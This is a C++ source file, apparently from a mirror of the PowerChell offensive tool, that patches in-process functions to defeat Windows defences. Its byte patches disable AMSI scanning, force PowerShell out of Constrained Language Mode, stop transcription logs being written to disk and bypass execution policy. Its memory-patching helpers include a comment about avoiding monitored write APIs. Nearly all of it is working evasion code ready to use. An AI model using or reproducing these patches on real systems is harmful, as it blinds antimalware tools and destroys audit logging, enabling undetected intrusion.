mirror of
https://github.com/scrt/PowerChell
synced 2026-06-06 16:44:30 +00:00
199 lines
6.6 KiB
C++
199 lines
6.6 KiB
C++
#include "common.h"
|
|
#include "patch.h"
|
|
#include "clr.h"
|
|
|
|
//
|
|
// The following function patches 'AMSI!AmsiOpenSession' so that it returns the
|
|
// error code 0x80070057 (invalid parameters) when invoked. It does so by replacing
|
|
// a conditonal jump (JZ) at the beginning of the function with a simple jump (JMP).
|
|
//
|
|
// Below is the part of AMSI!AmsiOpenSession we're interest in:
|
|
//
|
|
// 48 85 d2 TEST param_2,param_2 <-- Test if return value pointer is null
|
|
// 74 0c JZ LAB_180008aa1 <-- Conditional JZ replaced by JMP
|
|
// ...
|
|
// b8 57 00 MOV EAX,0x80070057 <-- Return error code 0x80070057
|
|
// 07 80
|
|
// c3 RET
|
|
//
|
|
// Credit:
|
|
// - https://github.com/anonymous300502/Nuke-AMSI
|
|
//
|
|
BOOL PatchAmsiOpenSession()
|
|
{
|
|
BYTE bPatch[] = { 0xeb };
|
|
|
|
return PatchUnmanagedFunction(
|
|
L"amsi",
|
|
"AmsiOpenSession",
|
|
bPatch,
|
|
ARRAYSIZE(bPatch),
|
|
3
|
|
);
|
|
}
|
|
|
|
//
|
|
// PowerShell uses the method 'GetSystemLockdownPolicy' (SystemPolicy) to get the
|
|
// value of the execution policy enforced on the system. By patching this method
|
|
// with the following instructions, we force it to always return the value
|
|
// SystemEnforcementMode.None, which to translates to "Full Language Mode".
|
|
//
|
|
// xor rax, rax; <-- Set return value to 0
|
|
// ret;
|
|
//
|
|
// Credit:
|
|
// - https://github.com/calebstewart/bypass-clm
|
|
//
|
|
BOOL PatchSystemPolicyGetSystemLockdownPolicy(mscorlib::_AppDomain* pAppDomain)
|
|
{
|
|
BYTE bPatch[] = { 0x48, 0x31, 0xc0, 0xc3 }; // mov rax, 0; ret;
|
|
|
|
return PatchManagedFunction(
|
|
pAppDomain,
|
|
L"System.Management.Automation",
|
|
L"System.Management.Automation.Security.SystemPolicy",
|
|
L"GetSystemLockdownPolicy",
|
|
0,
|
|
bPatch,
|
|
ARRAYSIZE(bPatch),
|
|
0
|
|
);
|
|
}
|
|
|
|
//
|
|
// When transcription is enabled, PowerShell uses a class named 'TranscriptionOption'
|
|
// to store information about the log file path for instance. It also has a method
|
|
// named 'FlushContentToDisk' responsible for writing user prompts to this file. By
|
|
// patching this method with a simple 'ret' instruction, we effectively prevent it
|
|
// from writing anything to disk.
|
|
//
|
|
// Credit:
|
|
// - https://github.com/OmerYa/Invisi-Shell
|
|
//
|
|
// Links:
|
|
// - https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/hostifaces/MshHostUserInterface.cs
|
|
//
|
|
BOOL PatchTranscriptionOptionFlushContentToDisk(mscorlib::_AppDomain* pAppDomain)
|
|
{
|
|
BYTE bPatch[] = { 0xc3 }; // ret;
|
|
|
|
return PatchManagedFunction(
|
|
pAppDomain,
|
|
L"System.Management.Automation",
|
|
L"System.Management.Automation.Host.TranscriptionOption",
|
|
L"FlushContentToDisk",
|
|
0,
|
|
bPatch,
|
|
ARRAYSIZE(bPatch),
|
|
0
|
|
);
|
|
}
|
|
|
|
//
|
|
// Whatever the execution policy enforced on a system, the class 'AuthorizationManager'
|
|
// (System.Management.Automation) is in charge of determining whether a given script
|
|
// file should be executed, thanks to its internal method 'ShouldRunInternal'. This
|
|
// method does not return a boolean value, but instead throws an exception in case the
|
|
// execution is restricted. Therefore, by patching this function with a simple 'ret'
|
|
// instruction, we make it so that this function never throws an exception, this
|
|
// circumventing the execution policy.
|
|
//
|
|
// This technique was inspired by a blog post from NetSPI (see credit section), which
|
|
// mentions the 'AuthorizationManager' class (technique #12).
|
|
//
|
|
// Credit:
|
|
// - https://www.netspi.com/blog/technical-blog/network-pentesting/15-ways-to-bypass-the-powershell-execution-policy/
|
|
//
|
|
// Links:
|
|
// - https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/SecurityManagerBase.cs
|
|
//
|
|
BOOL PatchAuthorizationManagerShouldRunInternal(mscorlib::_AppDomain* pAppDomain)
|
|
{
|
|
BYTE bPatch[] = { 0xc3 }; // ret;
|
|
|
|
return PatchManagedFunction(
|
|
pAppDomain,
|
|
L"System.Management.Automation",
|
|
L"System.Management.Automation.AuthorizationManager",
|
|
L"ShouldRunInternal",
|
|
3,
|
|
bPatch,
|
|
ARRAYSIZE(bPatch),
|
|
0
|
|
);
|
|
}
|
|
|
|
BOOL GetProcedureAddress(LPCWSTR pwszModuleName, LPCSTR pszProcedureName, PULONG_PTR pProcedureAddress)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
HMODULE hModule = NULL;
|
|
FARPROC pProcedure = NULL;
|
|
|
|
// We assume the module has already been loaded
|
|
hModule = GetModuleHandleW(pwszModuleName);
|
|
EXIT_ON_WIN32_ERROR(L"GetModuleHandleW", hModule == NULL);
|
|
|
|
pProcedure = GetProcAddress(hModule, pszProcedureName);
|
|
EXIT_ON_WIN32_ERROR(L"", pProcedure == NULL);
|
|
|
|
bResult = TRUE;
|
|
*pProcedureAddress = reinterpret_cast<ULONG_PTR>(pProcedure);
|
|
|
|
exit:
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PatchProcedure(LPVOID pTargetAddress, LPBYTE pSourceBuffer, DWORD dwSourceBufferSize)
|
|
{
|
|
BOOL bResult = FALSE;
|
|
DWORD dwOldProtect = 0;
|
|
BOOL bSuccess = FALSE;
|
|
|
|
bSuccess = VirtualProtectEx(GetCurrentProcess(), pTargetAddress, dwSourceBufferSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
|
|
EXIT_ON_WIN32_ERROR(L"VirtualProtectEx", bSuccess == FALSE);
|
|
|
|
// Avoid using WriteProcessMemory / NtWriteVirtualMemory
|
|
memcpy_s(pTargetAddress, dwSourceBufferSize, pSourceBuffer, dwSourceBufferSize);
|
|
|
|
bSuccess = VirtualProtectEx(GetCurrentProcess(), pTargetAddress, dwSourceBufferSize, dwOldProtect, &dwOldProtect);
|
|
EXIT_ON_WIN32_ERROR(L"VirtualProtectEx", bSuccess == FALSE);
|
|
|
|
bResult = TRUE;
|
|
|
|
exit:
|
|
return bResult;
|
|
}
|
|
|
|
BOOL PatchUnmanagedFunction(LPCWSTR pwszMdoduleName, LPCSTR pszProcedureName, LPBYTE pbPatch, DWORD dwPatchSize, DWORD dwPatchOffset)
|
|
{
|
|
ULONG_PTR pProcedureAddress = 0;
|
|
|
|
if (!GetProcedureAddress(pwszMdoduleName, pszProcedureName, &pProcedureAddress))
|
|
return FALSE;
|
|
|
|
pProcedureAddress += dwPatchOffset;
|
|
|
|
//printf("[*] Patching unmanaged function '%s' @ 0x%llx\n", pszProcedureName, pProcedureAddress);
|
|
|
|
if (!PatchProcedure(reinterpret_cast<LPVOID>(pProcedureAddress), pbPatch, dwPatchSize))
|
|
return FALSE;
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL PatchManagedFunction(mscorlib::_AppDomain* pAppDomain, LPCWSTR pwszAssemblyName, LPCWSTR pwszClassName, LPCWSTR pwszMethodName, DWORD dwNbArgs, LPBYTE pbPatch, DWORD dwPatchSize, DWORD dwPatchOffset)
|
|
{
|
|
ULONG_PTR pMethodAddress = 0;
|
|
|
|
if (!GetJustInTimeMethodAddress(pAppDomain, pwszAssemblyName, pwszClassName, pwszMethodName, dwNbArgs, &pMethodAddress))
|
|
return FALSE;
|
|
|
|
pMethodAddress += dwPatchOffset;
|
|
|
|
//wprintf(L"[*] Patching managed function '%ws' @ 0x%llx\n", pwszMethodName, pMethodAddress);
|
|
|
|
if (!PatchProcedure(reinterpret_cast<LPVOID>(pMethodAddress), pbPatch, dwPatchSize))
|
|
return FALSE;
|
|
|
|
return TRUE;
|
|
} |